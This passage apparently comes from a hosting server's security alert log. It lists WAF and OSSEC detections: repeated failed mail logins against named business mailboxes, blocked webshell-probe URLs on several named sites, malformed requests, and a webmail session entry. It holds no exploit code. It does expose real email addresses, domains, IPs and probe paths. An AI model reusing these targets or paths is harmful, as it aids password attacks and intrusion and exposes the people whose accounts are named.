abuser: 47.246.171.230
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.210
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/font-awesome.min.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.232
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/responsive.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.158
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/default.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.133
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.147
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/slick.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.187
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-includes/css/dist/block-library/style.min.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.244
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/style.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.174
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/fonts/Flaticon.woff HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.238
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/magnific-popup.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:21:55 dovecot_login authenticator failed for H=(bDlMAtbNO) [178.16.54.138]:65426: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.219.46.126
country_id: 1269750
description:
2026-01-30 20:22:52 dovecot_plain authenticator failed for H=(LE7AQH53ZALJ4) [103.219.46.126]:57415: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.154.210.108
country_id: 6252001
domain: working.magsoft.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:22:03 dovecot_login authenticator failed for H=(skfQo6Uhl) [178.16.54.138]:54374: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.99.168.231
country_id: 6251999
description:
[2026-01-30 20:22:44 +0800] info [cpaneld] 192.99.168.231 - usfoodco "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usfoodco (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:23:08 dovecot_login authenticator failed for H=(CT3SmoPfS) [178.16.54.138]:59825: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.199.161.144
country_id: 6252001
description:
2026-01-30 20:23:44 dovecot_plain authenticator failed for H=c-73-199-161-144.hsd1.nj.comcast.net (antrally) [73.199.161.144]:37406: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.51
country_id: 2921044
description:
2026-01-30 20:24:49 dovecot_plain authenticator failed for H=([178.16.52.51]) [178.16.52.51]:57866: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:24:13 dovecot_login authenticator failed for H=(V91lBON) [178.16.54.138]:61050: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/testimonial.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:24:52 dovecot_login authenticator failed for H=(33Uaw0JG) [178.16.54.138]:58984: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:25:22 dovecot_login authenticator failed for H=(SHGIBOepN) [178.16.54.138]:59989: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.137.250
country_id: 1269750
description:
2026-01-30 20:25:57 dovecot_login authenticator failed for H=([203.193.137.250]) [203.193.137.250]:56036: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.51
country_id: 2921044
description:
2026-01-30 20:25:02 dovecot_plain authenticator failed for H=([178.16.52.51]) [178.16.52.51]:59743: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/malaysia-infinity-design-projects/img/photos/index.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.107.158
country_id: 226074
description:
2026-01-30 20:25:38 dovecot_login authenticator failed for H=([196.0.107.158]) [196.0.107.158]:50653: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.36.41.213
country_id: 2017370
description:
2026-01-30 20:26:35 dovecot_login authenticator failed for H=([78.36.41.213]) [78.36.41.213]:58731: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:26:33 dovecot_login authenticator failed for H=(4rGQbC9c) [178.16.54.138]:60222: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.242.202.16
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=453297 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.183.98
country_id: 1269750
description:
2026-01-30 20:27:04 dovecot_login authenticator failed for H=([182.95.215.114]) [125.23.183.98]:41008: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:27:06 dovecot_login authenticator failed for H=(IfQMVb0gy) [178.16.54.138]:61296: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:28:06 dovecot_login authenticator failed for H=(EUKa79CL) [178.16.54.138]:52672: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.92.202
country_id: 1269750
description:
2026-01-30 20:28:09 dovecot_login authenticator failed for H=([125.17.215.121]) [27.123.92.202]:35434: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.113.86
country_id: 1269750
description:
2026-01-30 20:28:22 dovecot_login authenticator failed for H=([125.17.17.201]) [27.123.113.86]:38608: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.15.138
country_id: 1668284
description:
2026-01-30 20:28:05 dovecot_login authenticator failed for H=111-70-15-138.emome-ip.hinet.net [111.70.15.138]:55019: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:29:17 dovecot_login authenticator failed for H=(Ier5r2d) [178.16.54.138]:55886: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.135.28.205
country_id: 1733045
description:
[2026-01-30 20:30:10 +0800] info [webmaild] 115.135.28.205 - janice@smartcable.com.my "GET /cpsess3269646705/3rdparty/roundcube/?_task=mail&_frame=1&_mbox=INBOX&_uid=30522&_part=2&_action=get&_extwin=1 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [118.101.58.238] != Current IP Address [115.135.28.205]


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:30:15 dovecot_login authenticator failed for H=(0qCGwaaat) [178.16.54.138]:62982: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:30:33 dovecot_login authenticator failed for H=(nV6JtaqcC) [178.16.54.138]:59059: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.198.131.40
country_id: 6252001
description:
2026-01-30 20:30:07 dovecot_plain authenticator failed for H=([124.198.131.40]) [124.198.131.40]:51382: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:31:27 dovecot_login authenticator failed for H=(vhtCRe) [178.16.54.138]:54468: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:32:04 dovecot_login authenticator failed for H=(JWo2AEYt) [178.16.54.138]:62864: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:33:22 dovecot_login authenticator failed for H=(Y3g4ohM) [178.16.54.138]:61293: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.248
country_id: 1668284
description:
2026-01-30 20:33:48 dovecot_login authenticator failed for H=111-70-23-248.emome-ip.hinet.net [111.70.23.248]:52009: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.207.15.25
country_id: 1269750
description:
2026-01-30 20:34:43 dovecot_login authenticator failed for H=(49.207.15.25.actcorp.in) [49.207.15.25]:49625: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.225.188.50
country_id: 1269750
description:
2026-01-30 20:34:55 dovecot_plain authenticator failed for H=(T31NGXPI6836) [103.225.188.50]:62084: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:34:24 dovecot_login authenticator failed for H=(YSLGsd8W) [178.16.54.138]:50104: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.241.162.20
country_id: 1835841
description:
2026-01-30 20:34:08 dovecot_login authenticator failed for H=([1.241.162.20]) [1.241.162.20]:57086: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.227.63.227
country_id: 2921044
description:
2026-01-30 20:36:01 dovecot_plain authenticator failed for H=([212.227.63.227]) [212.227.63.227]:59145: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:35:29 dovecot_login authenticator failed for H=(dZsbR4kY) [178.16.54.138]:59582: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.8.143
country_id: 1668284
description:
2026-01-30 20:35:30 dovecot_login authenticator failed for H=111-70-8-143.emome-ip.hinet.net [111.70.8.143]:45263: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:35:46 dovecot_login authenticator failed for H=(uj22VEo2R) [178.16.54.138]:54778: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.226.118.0
country_id: 3469034
description:
2026-01-30 20:35:13 dovecot_login authenticator failed for H=([38.226.118.9]) [38.226.118.0]:33470: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:36:13 dovecot_login authenticator failed for H=(RBNOME) [178.16.54.138]:55303: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.227.63.227
country_id: 2921044
description:
2026-01-30 20:36:06 dovecot_plain authenticator failed for H=([212.227.63.227]) [212.227.63.227]:59184: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:37:09 dovecot_login authenticator failed for H=(GHg775Fw) [178.16.54.138]:62187: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.145
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-includes/css/dist/block-library/style.min.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.130
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/default.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.136
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment-child/style.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.196.184.78
country_id: 6252001
description:
2026-01-30 20:38:10 dovecot_login authenticator failed for H=([74.196.184.78]) [74.196.184.78]:39512: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.141
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/slick.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.133
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/flaticon.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.143
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/style.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.71.84.38
country_id: 3469034
description:
2026-01-30 20:38:48 dovecot_login authenticator failed for H=([200.71.84.38]) [200.71.84.38]:35604: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.163.159.21
country_id: 2017370
description:
2026-01-30 20:38:12 dovecot_login authenticator failed for H=([46.163.159.21]) [46.163.159.21]:54966: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:38:13 dovecot_login authenticator failed for H=(1Xn0o31Rx) [178.16.54.138]:60032: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.135
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/type-writter.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.148
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/magnific-popup.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.218.221.232
country_id: 953987
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/about-us/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.156
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/owl.carousel.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.72.235.193
country_id: 2017370
description:
2026-01-30 20:38:59 dovecot_login authenticator failed for H=(4C5E0C0DE7C6.mldns.ru) [109.72.235.193]:60660: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-01-30 20:38:25 dovecot_login authenticator failed for H=([211.104.166.110]) [211.104.166.110]:37048: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.129
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/responsive.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.144
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/fonts/Flaticon.woff HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:39:22 dovecot_login authenticator failed for H=(6GZ5jI5) [178.16.54.138]:56512: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.170.150.247
country_id: 1605651
description:
2026-01-30 20:39:57 dovecot_login authenticator failed for H=([203.170.150.247]) [203.170.150.247]:37984: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.152.138.178
country_id: 1814991
description:
2026-01-30 20:40:10 dovecot_login authenticator failed for H=([39.152.138.179]) [39.152.138.178]:39047: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:40:29 dovecot_login authenticator failed for H=(gnJ4gNexA) [178.16.54.138]:62495: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.59.26
country_id: 1269750
description:
2026-01-30 20:40:54 dovecot_login authenticator failed for H=([125.23.125.209]) [122.187.59.26]:56802: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.9.247.58
country_id: 3469034
description:
2026-01-30 20:40:56 dovecot_login authenticator failed for H=(200-153-121-1.customer.tdatabrasil.net.br) [187.9.247.58]:37433: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:40:22 dovecot_login authenticator failed for H=(sZYeigROB) [178.16.54.138]:53534: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-01-30 20:40:45 dovecot_login authenticator failed for H=(164-53-26-103.intechonline.net) [122.169.40.221]:42874: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:41:05 dovecot_login authenticator failed for H=(S8Otjwom) [178.16.54.138]:59151: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/photos/news.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.49.128.138
country_id: 953987
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=52 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.246.106
country_id: 1269750
description:
2026-01-30 20:41:02 dovecot_login authenticator failed for H=([125.16.255.97]) [125.20.246.106]:37170: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 20:42:20 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:60742: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 20:42:11 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:10358: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.234
country_id: 1835841
description:
2026-01-30 20:42:42 dovecot_login authenticator failed for H=([210.206.24.238]) [210.206.24.234]:38165: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:42:29 dovecot_login authenticator failed for H=(pjBIJo2N3) [178.16.54.138]:60455: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-30 20:42:34 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:42662: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-01-30 20:42:46 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:36504: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 20:42:56 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:10571: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.5.178.229
country_id: 3865483
description:
2026-01-30 20:44:36 dovecot_login authenticator failed for H=([186.5.178.229]) [186.5.178.229]:33544: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.239.78.124
country_id: 1819730
description:
2026-01-30 20:44:01 dovecot_login authenticator failed for H=(182.239.78.124.hk.chinamobile.com) [182.239.78.124]:36300: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
